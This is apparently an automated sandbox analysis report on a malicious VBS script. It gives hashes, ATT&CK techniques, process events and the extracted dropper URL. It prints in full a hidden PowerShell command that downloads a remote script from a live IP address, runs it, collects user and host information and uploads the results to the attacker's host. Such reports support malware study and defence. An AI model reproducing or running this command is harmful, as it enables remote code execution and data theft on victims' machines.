4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
30/09/2024, 18:11

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General

Target

4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924.vbs
Size

778B
MD5

b8eecf433c05f73660b69c7f2e407f8e
SHA1

ad6942899ae40f00e4dd33725930e0238d5b435c
SHA256

4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924
SHA512

5b1d21349ad7bfd051be37ebb31a981de7bae3b60ee80f8014d3f49a017d484ed61af5384cda847689e5935fb36a863c98491d04980c2b817c01f32c23b8ea88

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://2.59.222.98:43820/KfngnHbxFHjaucie/page107/upgrade.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
47	3088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3088	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3088	powershell.exe
3088	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 3088	4620	WScript.exe	82
PID 4620 wrote to memory of 3088	4620	WScript.exe	82

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$flm=$iik.downloaddata('http://2.59.222.98:43820/KfngnHbxFHjaucie/page107/upgrade.txt');if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('http://2.59.222.98:28402/page107',$drpy);}
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sihvrgmp.5yr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3088-0-0x00007FFD5E173000-0x00007FFD5E175000-memory.dmp

Filesize
8KB

Download
memory/3088-1-0x00000188E7A00000-0x00000188E7A22000-memory.dmp

Filesize
136KB

Download
memory/3088-11-0x00007FFD5E170000-0x00007FFD5EC31000-memory.dmp

Filesize
10.8MB

Download
memory/3088-12-0x00007FFD5E170000-0x00007FFD5EC31000-memory.dmp

Filesize
10.8MB

Download
memory/3088-13-0x00007FFD5E173000-0x00007FFD5E175000-memory.dmp

Filesize
8KB

Download
memory/3088-14-0x00007FFD5E170000-0x00007FFD5EC31000-memory.dmp

Filesize
10.8MB

Download
memory/3088-15-0x00007FFD5E170000-0x00007FFD5EC31000-memory.dmp

Filesize
10.8MB

Download
memory/3088-18-0x00007FFD5E170000-0x00007FFD5EC31000-memory.dmp

Filesize
10.8MB

Download